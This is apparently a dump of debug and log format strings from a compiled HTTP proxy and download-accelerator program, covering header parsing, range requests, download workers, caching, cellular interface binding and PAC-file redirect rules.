%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

